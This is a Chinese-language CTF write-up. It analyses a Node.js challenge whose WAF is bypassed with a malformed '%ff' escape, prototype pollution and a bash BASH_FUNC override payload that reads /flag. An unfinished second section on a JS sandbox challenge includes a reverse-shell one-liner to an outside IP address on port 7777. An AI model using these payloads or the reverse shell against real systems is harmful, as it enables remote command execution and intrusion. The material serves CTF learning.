app.post('/', function (req, res) { #这里要用过POST请求提交res
let msg = req.body.msg;
let msgString = convertToString(msg);
if (!waf(msgString)) {
try {
const msg_rce = {};
merge(msg_rce, msg);
if (cmd_rce && Door_lock(cmd_rce)) {
try {
const result = proc.execSync(cmd_rce.replace(/\r?\n/g,"").replace(/[a-zA-Z0-9 ]+=[a-zA-Z0-9 ]+/g,"114514").replace(/(\$\d+)|(\$SHELL)|(\$_)|(\$\()|(\${)/g,"114514").replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514"));
res.render('index', { result });
} catch (error) {
res.render('index', { error: error.message });
}
} else {
res.render('index', { result: "this is a lock" });
}
} catch (error) {
res.render('index', { result: "无事发生" });
}
} else {
res.render('index', { result: "this is a waf" });
}
})
可以看到黑名单blacklist中拦了__proto__,这里用到了报错绕过,如果catch error执行,直接return false,这样就可以不执行下面的黑名单绕过;
function waf(input_code) {
bypasspin = /%[0-9a-fA-F]{2}/i;
const bypasscode = bypasspin.test(input_code);
if (bypasscode) {
try {
return waf(decodeURIComponent(input_code));
} catch (error) {
console.error("Error decoding input: ", error);
return false;
}
}
const blacklist = [/__proto__/i, /constructor/i, /prototype/i];
for (const blackword of blacklist) {
if (blackword.test(input_code)) {
return true;
}
}
return false;
}
具体解释:
decodeURIComponent 是一个url解码函数,当输入的字符串不满足这个函数解码的格式就会抛出异常>>
- 从
%f7
之后都是无效的URL编码序列,所以可以放%ff
,在 URI 编码中,每个%
后面必须跟两个十六进制数字,表示一个字符。%ff
是有效的,但它表示的是一个无效的字符(ASCII 码 255)。 decodeURIComponent
在遇到无效的 URI 编码序列时会抛出URIError
。
- 这里就绕过了第一层waf,接下来看合并部分;
function merge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (key in target && typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
}
merge(msg_rce, msg);
if (cmd_rce && Door_lock(cmd_rce)) {
根据上下文可知,cmd_rce并没有被定义,这里补充一个点:
因为cmd_rce没有被定义,查找顺序如下:
+ 变量查找:当前作用域->外层作用域->全局作用域,如果找不到抛出ReferenceError;
+ 属性查找:会沿着上下文定义的对象的原型链查找,如果找不到返回undefined;
下面直接附上payload(本题题解)
{
"msg": {
"name": "%ff",
"age": 25,
"city": "Example City",
"__proto__": {
"cmd_rce":"env $'BASH_FUNC_echo%%=() { id;}' bash -c 'cat /flag'"
}
}
}
- 已经确定了cmd_rce污染思路,现在只要绕过对cmd_rce的检测即可;
下面的解释都是基于解释为什么这个payload可以绕过,而不是如何构造出这个payload
- 首先是>>
if (cmd_rce && Door_lock(cmd_rce)) #Door_lock
function Door_lock(cmd) {
pin = /^[a-z]+$/; //这里正则匹配规则看下面,意思是要全部都是小写字母
key = LockCylinder(cmd);
//这里的key[0]就是env,全部小写字母,满足pin,然后将cmd中的空格全部删掉,传入check_cmd函数继续waf;此时的cmd是"env$'BASH_FUNC_echo%%=(){id;}'bash-c'cat/flag'"
if (pin.test(key[0]) && check_cmd(cmd.replace(/\s*/g, ""))) {
return true;
} else {
return false;
}
}
//正则匹配解释:
//const pin =/^[a-z]+$/;
//^是开始,$是结尾,意思是这段字符串从头到尾都是a-z这几个字母,并且出现一次或以上
//const strings =[
// "hello world",//匹配
// "test string ",//匹配
// "singleword",//匹配
// "Hello World",//不匹配,因为包含大写字母
// "test123",//不匹配,因为包含数字
// "test-string",//不匹配,因为包含字符
//]
//这段代码的意思是将传进来的字符串按照下面黑名单中的符号分割成数组
//env $'BASH_FUNC_echo%%=() { id;}' bash -c 'echo 123' 这里的$作为分割符
function LockCylinder(input, blackchr = ["&&", "||", "&", "|", ">", "*", "+", "$", ";"]) {
const resultArray = [];
let currentPart = "";
for (let i = 0; i < input.length; i++) {
const currentChar = input[i];
if (blackchr.includes(currentChar)) {
if (currentPart.length > 0) {
resultArray.push(currentPart);
currentPart = "";
}
} else {
currentPart += currentChar;
}
}
if (currentPart.length > 0) {
resultArray.push(currentPart);
}
return resultArray;
}
//运行结果resultArray是[["env"],["'BASH_FUNC_echo%%=() { id;}' bash -c 'echo 123'"]]
- check_cmd()的绕过:
function check_cmd(cmd) {
const command = ["......"];//太长了这里不粘
const eval_chr = ["<", ">"];
for (let i = 0; i < command.length; i++) {
if (cmd.includes(command[i] + '&') || cmd.includes('&' + command[i]) || cmd.includes(command[i] + '|') || cmd.includes('|' + command[i]) || cmd.includes(';' + command[i]) || cmd.includes('(' + command[i]) || cmd.includes('/' + command[i])) {
return false;
}
}
for (let j = 0; j < eval_chr.length; j++) {
if (cmd.includes(eval_chr[j])) {
return false;
}
}
return true;
}
可以看到黑名单写的非常全面,也包含了"env" !
继续分析下面的代码
//此时cmd="env$'BASH_FUNC_echo%%=(){id;}'bash-c'echo123'"
const eval_chr = ["<", ">"];
for (let i = 0; i < command.length; i++) {
if (cmd.includes(command[i] + '&') || cmd.includes('&' + command[i]) || cmd.includes(command[i] + '|') || cmd.includes('|' + command[i]) || cmd.includes(';' + command[i]) || cmd.includes('(' + command[i]) || cmd.includes('/' + command[i])) { //虽然写的很全面,但是竟然都加上了一些字符,比如env&、&env、|env、env|、……、/env,都不能匹配env,所以根本没有过滤掉env
return false;
}
}
for (let j = 0; j < eval_chr.length; j++) {
if (cmd.includes(eval_chr[j])) {
return false;
}
}
return true;
}
因此这里也是成功绕过了!
if (pin.test(key[0]) && check_cmd(cmd.replace(/\s*/g, ""))) {
- 现在来到了下面这一步>>
try {
const result = proc.execSync(cmd_rce.replace(/\r?\n/g,"").replace(/[a-zA-Z0-9 ]+=[a-zA-Z0-9 ]+/g,"114514").replace(/(\$\d+)|(\$SHELL)|(\$_)|(\$\()|(\${)/g,"114514").replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514")); //这一层过滤了换行符、"key=value"的形式的字符串、"$xx"形式的字符串、'/ "/ ". ". '~ "~,payload中均未出现,因此至此成功绕过了本题的所有WAF;
res.render('index', { result });
}
catch (error) {
res.render('index', { error: error.message });
}
- 命令的解释:
env BASH_FUNC_echo%=() { id; } bash -c 'echo 123'
env设置环境变量;
- 将echo更改为一个新的函数(){id;};
- ()是匿名函数,{id;}是函数体;
- 当下次调用echo的时候会执行匿名函数()中的命令id,也就是说执行echo实际上是执行id;
- bash -c 'echo 123’是在新的窗口执行echo 123,即执行id;
- 在 Linux 系统中,id命令用于显示用户的用户 ID(UID)和组 ID(GID),以及该用户所属的所有组;
这里并没有实际用到这个指令,只是为了绕过WAF过滤找到一个刚好合法的指令
- 拿到flag;
8. 非预期解,因为出题人忘记删了环境变量中的flag,而cmd_rce=env刚好可以绕过WAF并读取环境变量;
上面是用python写一个POST请求,抓包重发相同的效果;
[DASCTF X CBCTF 2023|无畏者先行]yet another sandbox(未写完)
JS沙箱、反弹shell
重定向符号的基础
在 Linux 中,文件描述符和重定向符号是实现 I/O 操作的基础:
文件描述符:
- 标准输入 (
stdin
):文件描述符0
,默认从键盘读取输入。 - 标准输出 (
stdout
):文件描述符1
,默认将输出显示在终端上。 - 标准错误 (
stderr
):文件描述符2
,默认将错误信息显示在终端上。
常见的重定向符号:
>
:将输出重定向到文件(或其他目标)。<
:将输入重定向到文件(或其他来源)。>>
:将输出追加到文件。&>
:将 标准输出 和 标准错误 都重定向到同一目标。
command 2>&1 # 将错误输出合并到标准输出
2 将标准错误
> 输出到
&1 之前的标准输出的文件
Js的then用法补充
import('child_process').then(m => m.execSync('bash -c "bash -i >& /dev/tcp/8.130.24.188/7777 <&1"'));
console.log("After import");
等待import执行完之后才执行.then里面的语句
执行顺序:
import('child_process')
开始异步加载。- 在模块加载完成前,
console.log("After import")
会立即执行(非阻塞)。 - 加载完成后,
m.execSync(...)
会被调用,运行外部命令。
Payload解释:
bash -c 启动一个新的 Bash Shell,并运行后面的字符串命令;
bash -i 启动一个交互式的 Bash Shell,支持实时输入和输出;
/dev/tcp/8.130.24.188/7777
是 Bash 的虚拟文件路径,用于直接建立到远程主机的 TCP 连接,/dev/tcp并不是一个真实存在的路径